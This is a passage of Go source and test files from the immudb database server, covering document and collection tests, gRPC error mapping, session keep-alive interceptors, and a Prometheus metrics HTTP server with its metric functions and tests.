[]*protomodel.Index{ {Fields: []string{"_id"}, IsUnique: true}, {Fields: []string{"number"}, IsUnique: false}, } for i, idxType := range expectedIndexKeys { require.Equal(t, idxType.Fields, collection.Indexes[i].Fields) require.Equal(t, idxType.IsUnique, collection.Indexes[i].IsUnique) } }) t.Run("should pass when deleting an index to the collection", func(t *testing.T) { _, err := s.DeleteIndex(ctx, &protomodel.DeleteIndexRequest{ CollectionName: defaultCollectionName, Fields: []string{"number"}, }) require.NoError(t, err) // get collection cinfo, err := s.GetCollection(ctx, &protomodel.GetCollectionRequest{ Name: defaultCollectionName, }) require.NoError(t, err) collection := cinfo.Collection require.Len(t, collection.Indexes, 1) expectedIndexKeys := []*protomodel.Index{ {Fields: []string{"_id"}, IsUnique: true}, } for i, idxType := range expectedIndexKeys { require.Equal(t, idxType.Fields, collection.Indexes[i].Fields) require.Equal(t, idxType.IsUnique, collection.Indexes[i].IsUnique) } }) t.Run("should pass when updating a collection", func(t *testing.T) { _, err := s.UpdateCollection(ctx, &protomodel.UpdateCollectionRequest{ Name: defaultCollectionName, DocumentIdFieldName: "foo", }) require.NoError(t, err) // get collection cinfo, err := s.GetCollection(ctx, &protomodel.GetCollectionRequest{ Name: defaultCollectionName, }) require.NoError(t, err) collection := cinfo.Collection require.Equal(t, "foo", collection.Fields[0].Name) }) t.Run("should pass when deleting collection", func(t *testing.T) { _, err := s.DeleteCollection(ctx, &protomodel.DeleteCollectionRequest{ Name: "mycollection", }) require.NoError(t, err) resp, err := s.GetCollections(ctx, &protomodel.GetCollectionsRequest{}) require.NoError(t, err) require.Len(t, resp.Collections, 0) }) t.Run("should pass when creating multiple collections", func(t *testing.T) { // create collection collections := []string{"mycollection1", "mycollection2", "mycollection3"} for _, collectionName := range collections { _, err := s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{ Name: collectionName, Fields: []*protomodel.Field{ {Name: "number", Type: protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, }, }) require.NoError(t, err) } expectedFieldKeys := []*protomodel.Field{ {Name: "_id", Type: protomodel.FieldType_STRING}, {Name: "number", Type: protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, } // verify collection resp, err := s.GetCollections(ctx, &protomodel.GetCollectionsRequest{}) require.NoError(t, err) require.Len(t, resp.Collections, len(resp.Collections)) for i, collection := range resp.Collections { require.Equal(t, collections[i], collection.Name) for i, idxType := range expectedFieldKeys { require.Equal(t, idxType.Name, collection.Fields[i].Name) require.Equal(t, idxType.Type, collection.Fields[i].Type) } } }) } func TestDocuments(t *testing.T) { dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). WithPort(0). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword). WithSigningKey("./../../test/signer/ec1.key") s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) require.NoError(t, s.Initialize()) authenticationServiceImp := &authenticationServiceImp{s} logged, err := authenticationServiceImp.OpenSession(context.Background(), &protomodel.OpenSessionRequest{ Username: "immudb", Password: "immudb", Database: "defaultdb", }) require.NoError(t, err) require.NotEmpty(t, logged.SessionID) md := metadata.Pairs("sessionid", logged.SessionID) ctx := metadata.NewIncomingContext(context.Background(), md) // create collection collectionName := "mycollection" _, err = s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{ Name: collectionName, Fields: []*protomodel.Field{ { Name: "pincode", Type: protomodel.FieldType_INTEGER, }, }, Indexes: []*protomodel.Index{ { Fields: []string{"pincode"}, }, }, }) require.NoError(t, err) t.Run("should fail with empty document", func(t *testing.T) { // add document to collection _, err := s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{ CollectionName: collectionName, Documents: nil, }) require.Error(t, err) }) var res *protomodel.InsertDocumentsResponse var docID string t.Run("should pass when adding documents", func(t *testing.T) { var err error // add document to collection res, err = s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{ CollectionName: collectionName, Documents: []*structpb.Struct{ { Fields: map[string]*structpb.Value{ "pincode": structpb.NewNumberValue(123), }, }, }, }) require.NoError(t, err) require.NotNil(t, res) require.Len(t, res.DocumentIds, 1) docID = res.DocumentIds[0] }) time.Sleep(100 * time.Millisecond) t.Run("should pass when auditing document", func(t *testing.T) { resp, err := s.AuditDocument(ctx, &protomodel.AuditDocumentRequest{ CollectionName: collectionName, DocumentId: docID, Page: 1, PageSize: 10, }) require.NoError(t, err) require.Len(t, resp.Revisions, 1) for _, rev := range resp.Revisions { require.Equal(t, docID, rev.Document.Fields["_id"].GetStringValue()) } }) t.Run("should pass when replacing document", func(t *testing.T) { resp, err := s.ReplaceDocuments(ctx, &protomodel.ReplaceDocumentsRequest{ Query: &protomodel.Query{ CollectionName: collectionName, Limit: 1, }, Document: &structpb.Struct{Fields: map[string]*structpb.Value{ "pincode": structpb.NewNumberValue(321), }}, }) require.NoError(t, err) require.Len(t, resp.Revisions, 1) }) t.Run("should pass when requesting document proof", func(t *testing.T) { _, err := s.ProofDocument(ctx, &protomodel.ProofDocumentRequest{ CollectionName: collectionName, DocumentId: docID, }) require.NoError(t, err) }) } ================================================ FILE: pkg/server/error_mapper_interceptor.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "google.golang.org/grpc" ) // ErrorMapperStream map standard errors in gRPC errors func ErrorMapperStream(srv interface{}, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error { err := handler(srv, ss) return mapServerError(err) } // ErrorMapper map standard errors in gRPC errors func ErrorMapper(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) { m, err := handler(ctx, req) return m, mapServerError(err) } ================================================ FILE: pkg/server/errors.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/errors" "github.com/codenotary/immudb/pkg/server/sessions" "google.golang.org/grpc/codes" "google.golang.org/grpc/status" goerrors "errors" ) var ( ErrIllegalArguments = status.Error(codes.InvalidArgument, database.ErrIllegalArguments.Error()) ErrIllegalState = status.Error(codes.InvalidArgument, database.ErrIllegalState.Error()) ErrEmptyAdminPassword = status.Error(codes.InvalidArgument, "Admin password cannot be empty") ErrCantUpdateAdminPassword = errors.New("can not update sysadmin password") ErrUserNotActive = "user is not active" ErrInvalidUsernameOrPassword = "invalid user name or password" ErrAuthDisabled = "server is running with authentication disabled, please enable authentication to login" ErrAuthMustBeEnabled = status.Error(codes.InvalidArgument, "authentication must be on") ErrAuthMustBeDisabled = status.Error(codes.InvalidArgument, "authentication must be disabled when restoring systemdb") ErrNotAllowedInMaintenanceMode = status.Error(codes.InvalidArgument, "operation not allowed in maintenance mode") ErrReservedDatabase = errors.New("database is reserved") ErrPermissionDenied = errors.New("permission denied") ErrNotSupported = errors.New("operation not supported") ErrNotLoggedIn = auth.ErrNotLoggedIn ErrReplicationInProgress = errors.New("replication already in progress") ErrReplicatorNotNeeded = errors.New("replicator is not needed") ErrReplicationNotInProgress = errors.New("replication is not in progress") ErrSessionAlreadyPresent = errors.New("session already present").WithCode(errors.CodInternalError) ErrSessionNotFound = errors.New("session not found").WithCode(errors.CodSqlserverRejectedEstablishmentOfSqlSession) ErrOngoingReadWriteTx = sessions.ErrOngoingReadWriteTx ErrNoSessionIDPresent = errors.New("no sessionID provided") ErrTxNotProperlyClosed = errors.New("tx not properly closed") ErrReadWriteTxNotOngoing = errors.New("read write transaction not ongoing") ErrTxReadConflict = errors.New(store.ErrTxReadConflict.Error()).WithCode(errors.CodInFailedSqlTransaction) ErrDatabaseAlreadyLoaded = errors.New("database already loaded") ErrTruncatorNotNeeded = errors.New("truncator is not needed") ErrTruncatorNotInProgress = errors.New("truncation is not in progress") ErrTruncatorDoesNotExist = errors.New("truncator does not exist") ) func mapServerError(err error) error { switch err { case store.ErrIllegalState: return ErrIllegalState case store.ErrIllegalArguments: return ErrIllegalArguments case store.ErrTxReadConflict: return ErrTxReadConflict } if goerrors.Is(err, store.ErrPreconditionFailed) { return errors.New(err.Error()).WithCode(errors.CodIntegrityConstraintViolation) } return err } func init() { errors.CodeMap[ErrUserNotActive] = errors.CodSqlserverRejectedEstablishmentOfSqlconnection errors.CodeMap[ErrInvalidUsernameOrPassword] = errors.CodSqlserverRejectedEstablishmentOfSqlconnection errors.CodeMap[ErrAuthDisabled] = errors.CodProtocolViolation } ================================================ FILE: pkg/server/errors_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "errors" "fmt" "testing" "github.com/codenotary/immudb/embedded/store" immuerrors "github.com/codenotary/immudb/pkg/errors" "github.com/stretchr/testify/require" ) func TestMapServerError(t *testing.T) { err := mapServerError(store.ErrIllegalState) require.ErrorIs(t, err, ErrIllegalState) err = mapServerError(store.ErrIllegalArguments) require.ErrorIs(t, err, ErrIllegalArguments) someError := errors.New("some error") err = mapServerError(someError) require.ErrorIs(t, err, someError) err = mapServerError(fmt.Errorf("%w: test", store.ErrPreconditionFailed)) require.Equal(t, immuerrors.CodIntegrityConstraintViolation, err.(immuerrors.Error).Code()) } ================================================ FILE: pkg/server/keepAlive.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "github.com/codenotary/immudb/pkg/server/sessions" "github.com/golang/protobuf/ptypes/empty" "google.golang.org/protobuf/types/known/emptypb" ) // KeepAlive is catched by KeepAliveSessionInterceptor func (s *ImmuServer) KeepAlive(ctx context.Context, e *empty.Empty) (*empty.Empty, error) { sessionID, err := sessions.GetSessionIDFromContext(ctx) if err != nil { return nil, err } s.SessManager.UpdateSessionActivityTime(sessionID) return &emptypb.Empty{}, nil } ================================================ FILE: pkg/server/keep_alive_session_interceptor.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "github.com/codenotary/immudb/pkg/auth" "google.golang.org/grpc" ) func (s *ImmuServer) KeepALiveSessionStreamInterceptor(srv interface{}, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error { if auth.GetAuthTypeFromContext(ss.Context()) == auth.SessionAuth { _, err := s.KeepAlive(ss.Context(), nil) if err != nil { return err } } return handler(srv, ss) } func (s *ImmuServer) KeepAliveSessionInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) { if auth.GetAuthTypeFromContext(ctx) == auth.SessionAuth && info.FullMethod != "/immudb.schema.ImmuService/OpenSession" { _, err := s.KeepAlive(ctx, nil) if err != nil { return nil, err } } return handler(ctx, req) } ================================================ FILE: pkg/server/metrics.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "crypto/tls" "encoding/json" "expvar" "net/http" "net/http/pprof" "strings" "time" "github.com/prometheus/client_golang/prometheus/promauto" "google.golang.org/grpc/peer" "github.com/codenotary/immudb/embedded/logger" "github.com/prometheus/client_golang/prometheus" "github.com/prometheus/client_golang/prometheus/promhttp" ) var Version VersionResponse // VersionResponse ... type VersionResponse struct { Component string `json:"component" example:"immudb"` Version string `json:"version" example:"1.0.1-c9c6495"` BuildTime string `json:"buildtime" example:"1604692129"` BuiltBy string `json:"builtby,omitempty"` Static bool `json:"static"` FIPS bool `json:"fips"` } // MetricsCollection immudb Prometheus metrics collection type MetricsCollection struct { UptimeCounter prometheus.CounterFunc computeDBSizes func() map[string]float64 DBSizeGauges *prometheus.GaugeVec computeDBEntries func() map[string]float64 DBEntriesGauges *prometheus.GaugeVec RPCsPerClientCounters *prometheus.CounterVec LastMessageAtPerClientGauges *prometheus.GaugeVec RemoteStorageKind *prometheus.GaugeVec computeLoadedDBSize func() float64 LoadedDatabases prometheus.Gauge computeSessionCount func() float64 ActiveSessions prometheus.Gauge } var metricsNamespace = "immudb" // WithUptimeCounter ... func (mc *MetricsCollection) WithUptimeCounter(f func() float64) { if mc.UptimeCounter != nil { return } mc.UptimeCounter = promauto.NewCounterFunc( prometheus.CounterOpts{ Namespace: metricsNamespace, Name: "uptime_hours", Help: "Server uptime in hours.", }, f, ) } // UpdateClientMetrics ... func (mc *MetricsCollection) UpdateClientMetrics(ctx context.Context) { p, ok := peer.FromContext(ctx) if ok && p != nil { ipAndPort := strings.Split(p.Addr.String(), ":") if len(ipAndPort) > 0 { mc.RPCsPerClientCounters.WithLabelValues(ipAndPort[0]).Inc() mc.LastMessageAtPerClientGauges.WithLabelValues(ipAndPort[0]).SetToCurrentTime() } } } // WithComputeDBSizes ... func (mc *MetricsCollection) WithComputeDBSizes(f func() map[string]float64) { mc.computeDBSizes = f } // WithComputeDBEntries ... func (mc *MetricsCollection) WithComputeDBEntries(f func() map[string]float64) { mc.computeDBEntries = f } // WithLoadedDBSize ... func (mc *MetricsCollection) WithLoadedDBSize(f func() float64) { mc.computeLoadedDBSize = f } // WithLoadedDBSize ... func (mc *MetricsCollection) WithComputeSessionCount(f func() float64) { mc.computeSessionCount = f } // UpdateDBMetrics ... func (mc *MetricsCollection) UpdateDBMetrics() { if mc.computeDBSizes != nil { for db, size := range mc.computeDBSizes() { mc.DBSizeGauges.WithLabelValues(db).Set(size) } } if mc.computeDBEntries != nil { for db, nbEntries := range mc.computeDBEntries() { mc.DBEntriesGauges.WithLabelValues(db).Set(nbEntries) } } if mc.computeLoadedDBSize != nil { mc.LoadedDatabases.Set(mc.computeLoadedDBSize()) } if mc.computeSessionCount != nil { mc.ActiveSessions.Set(mc.computeSessionCount()) } } // Metrics immudb Prometheus metrics collection var Metrics = MetricsCollection{ RPCsPerClientCounters: promauto.NewCounterVec( prometheus.CounterOpts{ Namespace: metricsNamespace, Name: "number_of_rpcs_per_client", Help: "Number of handled RPCs per client.", }, []string{"ip"}, ), DBSizeGauges: promauto.NewGaugeVec( prometheus.GaugeOpts{ Namespace: metricsNamespace, Name: "db_size_bytes", Help: "Database size in bytes.", }, []string{"db"}, ), DBEntriesGauges: promauto.NewGaugeVec( prometheus.GaugeOpts{ Namespace: metricsNamespace, Name: "number_of_stored_entries", Help: "Number of key-value entries currently stored by the database.", }, []string{"db"}, ), LastMessageAtPerClientGauges: promauto.NewGaugeVec( prometheus.GaugeOpts{ Namespace: metricsNamespace, Name: "clients_last_message_at_unix_seconds", Help: "Timestamp at which clients have sent their most recent message.", }, []string{"ip"}, ), RemoteStorageKind: promauto.NewGaugeVec( prometheus.GaugeOpts{ Namespace: metricsNamespace, Name: "remote_storage_kind", Help: "Set to 1 for remote storage kind for given database", }, []string{"db", "kind"}, ), LoadedDatabases: promauto.NewGauge( prometheus.GaugeOpts{ Namespace: metricsNamespace, Name: "loaded_databases", Help: "Numer of loaded databases", }, ), ActiveSessions: promauto.NewGauge( prometheus.GaugeOpts{ Namespace: metricsNamespace, Name: "active_sessions", Help: "Numer of active sessions", }, ), } // StartMetrics listens and servers the HTTP metrics server in a new goroutine. // The server is then returned and can be stopped using Close(). func StartMetrics( updateInterval time.Duration, addr string, tlsConfig *tls.Config, l logger.Logger, uptimeCounter func() float64, computeDBSizes func() map[string]float64, computeDBEntries func() map[string]float64, computeLoadedDBSize func() float64, computeSessionCount func() float64, addPProf bool, ) *http.Server { Metrics.WithUptimeCounter(uptimeCounter) Metrics.WithComputeDBSizes(computeDBSizes) Metrics.WithComputeDBEntries(computeDBEntries) Metrics.WithLoadedDBSize(computeLoadedDBSize) Metrics.WithComputeSessionCount(computeSessionCount) go func() { Metrics.UpdateDBMetrics() for range time.Tick(updateInterval) { Metrics.UpdateDBMetrics() } }() mux := http.NewServeMux() mux.Handle("/metrics", corsHandler(promhttp.Handler())) mux.Handle("/debug/vars", corsHandler(expvar.Handler())) if addPProf { mux.HandleFunc("/debug/pprof/", corsHandlerFunc(pprof.Index)) mux.HandleFunc("/debug/pprof/cmdline", corsHandlerFunc(pprof.Cmdline)) mux.HandleFunc("/debug/pprof/profile", corsHandlerFunc(pprof.Profile)) mux.HandleFunc("/debug/pprof/symbol", corsHandlerFunc(pprof.Symbol)) mux.HandleFunc("/debug/pprof/trace", corsHandlerFunc(pprof.Trace)) } mux.HandleFunc("/initz", corsHandlerFunc(ImmudbHealthHandlerFunc())) mux.HandleFunc("/readyz", corsHandlerFunc(ImmudbHealthHandlerFunc())) mux.HandleFunc("/livez", corsHandlerFunc(ImmudbHealthHandlerFunc())) mux.HandleFunc("/version", corsHandlerFunc(ImmudbVersionHandlerFunc)) server := &http.Server{Addr: addr, Handler: mux} server.TLSConfig = tlsConfig go func() { var err error if tlsConfig != nil && len(tlsConfig.Certificates) > 0 { l.Infof("metrics server enabled on %s (https)", addr) err = server.ListenAndServeTLS("", "") } else { l.Infof("metrics server enabled on %s (http)", addr) err = server.ListenAndServe() } if err == http.ErrServerClosed { l.Debugf("Metrics http server closed") } else { l.Errorf("Metrics error: %s", err) } }() return server } func ImmudbHealthHandlerFunc() http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusOK) } } func ImmudbVersionHandlerFunc(w http.ResponseWriter, r *http.Request) { writeJSONResponse(w, r, 200, &Version) } func corsHandler(handler http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { addCORSHeaders(w, r) handler.ServeHTTP(w, r) }) } func corsHandlerFunc(handlerFunc http.HandlerFunc) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { addCORSHeaders(w, r) handlerFunc(w, r) } } func addCORSHeaders(w http.ResponseWriter, r *http.Request) { // Set CORS headers for the preflight request if r.Method == http.MethodOptions { w.Header().Set("Access-Control-Allow-Origin", "*") w.Header().Set("Access-Control-Allow-Methods", "GET") w.Header().Set( "Access-Control-Allow-Headers", "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Access-Control-Allow-Origin, Access-Control-Allow-Methods, Access-Control-Allow-Credentials") w.WriteHeader(http.StatusNoContent) return } // Set CORS headers for the main request. w.Header().Set("Access-Control-Allow-Origin", "*") } func writeJSONResponse( w http.ResponseWriter, r *http.Request, statusCode int, body interface{}) { w.Header().Set("Content-Type", "application/json") w.WriteHeader(statusCode) json.NewEncoder(w).Encode(body) } ================================================ FILE: pkg/server/metrics_funcs.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "errors" "fmt" "os" "path/filepath" "time" "github.com/codenotary/immudb/embedded/store" ) func (s *ImmuServer) metricFuncServerUptimeCounter() float64 { return time.Since(startedAt).Hours() } // returns the specified directory's size in bytes func dirSize(dir string) (int64, error) { var dirSizeBytes int64 = 0 addSizeIfNotDir := func(path string, file os.FileInfo, err error) error { if err != nil { return err } if file.IsDir() { return nil } dirSizeBytes += file.Size() return nil } if err := filepath.Walk(dir, addSizeIfNotDir); err != nil { return 0, fmt.Errorf( "error walking dir %s to read it's size: %v", dir, err) } return dirSizeBytes, nil } func (s *ImmuServer) metricFuncComputeDBSizes() (dbSizes map[string]float64) { dbSizes = make(map[string]float64) if s.dbList != nil { for i := 0; i < s.dbList.Length(); i++ { db, err := s.dbList.GetByIndex(i) if err != nil { continue } dbName := db.GetName() dbSize, err := dirSize(filepath.Join(s.Options.Dir, dbName)) if err != nil { s.Logger.Errorf("error updating db size metric for db %s: %v", dbName, err) continue } dbSizes[dbName] = float64(dbSize) } } else { s.Logger.Warningf( "current update of db sizes metrics for regular dbs was skipped: db list is nil") } // add systemdb if s.sysDB != nil { sysDBName := s.sysDB.GetName() sysDBSize, err := dirSize(filepath.Join(s.Options.Dir, sysDBName)) if err != nil { s.Logger.Errorf("error updating db size metric for system db %s: %v", sysDBName, err) } else { dbSizes[sysDBName] = float64(sysDBSize) } } else { s.Logger.Warningf( "current update of db size metric for system db was skipped: system db is nil") } return } func (s *ImmuServer) metricFuncComputeDBEntries() (nbEntriesPerDB map[string]float64) { nbEntriesPerDB = make(map[string]float64) if s.dbList != nil { for i := 0; i < s.dbList.Length(); i++ { db, err := s.dbList.GetByIndex(i) if err != nil { continue } dbName := db.GetName() state, err := db.CurrentState() if errors.Is(err, store.ErrAlreadyClosed) { continue } if err != nil { s.Logger.Errorf( "error getting current state of db %s to update the number of entries metric: %v", dbName, err) continue } nbEntriesPerDB[dbName] = float64(state.GetTxId()) } } else { s.Logger.Warningf( "current update of db entries metrics for regular dbs was skipped: db list is nil") } // add systemdb if s.sysDB != nil { sysDBName := s.sysDB.GetName() state, err := s.sysDB.CurrentState() if err != nil { s.Logger.Errorf( "error getting current state of system db %s to update the number of entries metric: %v", sysDBName, err) } else { nbEntriesPerDB[sysDBName] = float64(state.GetTxId()) } } else { s.Logger.Warningf( "current update of db entries metric for system db was skipped: system db is nil") } return } func (s *ImmuServer) metricFuncComputeLoadedDBSize() float64 { return float64(s.dbList.Length()) } func (s *ImmuServer) metricFuncComputeSessionCount() float64 { if s.SessManager == nil { s.Logger.Warningf( "current update of session count is skipped: no session manager") return 0.0 } return float64(s.SessManager.SessionCount()) } ================================================ FILE: pkg/server/metrics_funcs_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "fmt" "os" "path/filepath" "strings" "testing" "github.com/codenotary/immudb/cmd/cmdtest" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/database" "github.com/stretchr/testify/require" ) type dbMock struct { database.DB currentStateF func() (*schema.ImmutableState, error) getOptionsF func() *database.Options getNameF func() string } func (dbm dbMock) CurrentState() (*schema.ImmutableState, error) { if dbm.currentStateF != nil { return dbm.currentStateF() } return &schema.ImmutableState{TxId: 99}, nil } func (dbm dbMock) GetOptions() *database.Options { if dbm.getOptionsF != nil { return dbm.getOptionsF() } return database.DefaultOptions() } func (dbm dbMock) GetName() string { if dbm.getNameF != nil { return dbm.getNameF() } return "" } func TestMetricFuncComputeDBEntries(t *testing.T) { currentStateSuccessfulOnce := func(callCounter *int) (*schema.ImmutableState, error) { *callCounter++ if *callCounter == 1 { return &schema.ImmutableState{TxId: 99}, nil } else { return nil, fmt.Errorf( "some current state error %d", *callCounter) } } currentStateCounter := 0 dbList := database.NewDatabaseList(database.NewDBManager(func(name string, opts *database.Options) (database.DB, error) { return &dbMock{ currentStateF: func() (*schema.ImmutableState, error) { return currentStateSuccessfulOnce(¤tStateCounter) }, }, nil }, 100, logger.NewMemoryLogger())) dbList.Put("test", database.DefaultOptions()) currentStateCountersysDB := 0 sysDB := dbMock{ getNameF: func() string { return "systemdb" }, getOptionsF: func() *database.Options { return database.DefaultOptions() }, currentStateF: func() (*schema.ImmutableState, error) { return currentStateSuccessfulOnce(¤tStateCountersysDB) }, } var sw strings.Builder s := ImmuServer{ dbList: dbList, sysDB: sysDB, Logger: logger.NewSimpleLoggerWithLevel( "TestMetricFuncComputeDBSizes", &sw, logger.LogError), } nbEntriesPerDB := s.metricFuncComputeDBEntries() require.Len(t, nbEntriesPerDB, 2) // call once again catch the currentState error paths s.metricFuncComputeDBEntries() // test warning paths (when dbList and sysDB are nil) s.dbList = nil s.sysDB = nil s.metricFuncComputeDBEntries() } func TestMetricFuncServerUptimeCounter(t *testing.T) { s := ImmuServer{} s.metricFuncServerUptimeCounter() } func TestMetricFuncComputeDBSizes(t *testing.T) { dataDir := filepath.Join(t.TempDir(), "TestDBSizesData") defaultDBName := "TestDBSizesDefaultDB" //--> create the data dir with subdir for each db var fullPermissions os.FileMode = 0777 require.NoError(t, os.MkdirAll(dataDir, fullPermissions)) require.NoError(t, os.MkdirAll(filepath.Join(dataDir, defaultDBName), fullPermissions)) require.NoError(t, os.MkdirAll(filepath.Join(dataDir, SystemDBName), fullPermissions)) require.NoError(t, os.MkdirAll(filepath.Join(dataDir, SystemDBName, "some-dir"), fullPermissions)) file, err := os.Create(filepath.Join(dataDir, defaultDBName, "some-file")) require.NoError(t, err) defer file.Close() //<-- dbList := database.NewDatabaseList(database.NewDBManager(func(name string, opts *database.Options) (database.DB, error) { return &dbMock{ getNameF: func() string { return "defaultdb" }, getOptionsF: func() *database.Options { return database.DefaultOptions() }, }, nil }, 100, logger.NewMemoryLogger())) dbList.Put("test", database.DefaultOptions()) s := ImmuServer{ Options: &Options{ Dir: dataDir, defaultDBName: defaultDBName, }, dbList: dbList, sysDB: dbMock{ getOptionsF: func() *database.Options { return database.DefaultOptions() }, }, } var sw strings.Builder s.Logger = logger.NewSimpleLoggerWithLevel( "TestMetricFuncComputeDBSizes", &sw, logger.LogError) s.metricFuncComputeDBSizes() // non-existent dir s.Options.Dir = cmdtest.RandString() s.metricFuncComputeDBSizes() // test warning paths (when dbList and sysDB are nil) s.dbList = nil s.sysDB = nil s.metricFuncComputeDBSizes() } func TestMetricFuncComputeLoadedDBSize(t *testing.T) { dbList := database.NewDatabaseList(database.NewDBManager(func(name string, opts *database.Options) (database.DB, error) { db := dbMock{ getNameF: func() string { return name }, getOptionsF: func() *database.Options { return opts }, } return db, nil }, 10, logger.NewMemoryLogger())) dbList.Put("defaultdb", database.DefaultOptions()) var sw strings.Builder s := ImmuServer{ Options: &Options{ defaultDBName: "defaultdb", }, dbList: dbList, sysDB: dbMock{ getOptionsF: func() *database.Options { return database.DefaultOptions() }, }, Logger: logger.NewSimpleLoggerWithLevel( "TestMetricFuncComputeDBSizes", &sw, logger.LogError), } require.Equal(t, s.metricFuncComputeLoadedDBSize(), 1.0) require.Equal(t, s.metricFuncComputeSessionCount(), 0.0) } ================================================ FILE: pkg/server/metrics_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "crypto/tls" "encoding/json" "net" "net/http" "net/http/httptest" "testing" "time" "github.com/prometheus/client_golang/prometheus" "github.com/prometheus/client_golang/prometheus/promhttp" "github.com/stretchr/testify/require" "google.golang.org/grpc/peer" ) func TestStartMetricsHTTP(t *testing.T) { tlsConfig := &tls.Config{ Certificates: []tls.Certificate{}, ClientAuth: tls.VerifyClientCertIfGiven, } server := StartMetrics( 100*time.Millisecond, "0.0.0.0:9999", tlsConfig, &mockLogger{}, func() float64 { return 0 }, func() map[string]float64 { return make(map[string]float64) }, func() map[string]float64 { return make(map[string]float64) }, func() float64 { return 1.0 }, func() float64 { return 2.0 }, false, ) time.Sleep(200 * time.Millisecond) defer server.Close() require.IsType(t, &http.Server{}, server) } func TestStartMetricsHTTPS(t *testing.T) { tlsConfig := tlsConfigTest(t) server := StartMetrics( 100*time.Millisecond, "0.0.0.0:9999", tlsConfig, &mockLogger{}, func() float64 { return 0 }, func() map[string]float64 { return make(map[string]float64) }, func() map[string]float64 { return make(map[string]float64) }, func() float64 { return 1.0 }, func() float64 { return 2.0 }, false, ) time.Sleep(200 * time.Millisecond) defer server.Close() require.IsType(t, &http.Server{}, server) tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}} client := &http.Client{Transport: tr} require.Eventually(t, func() bool 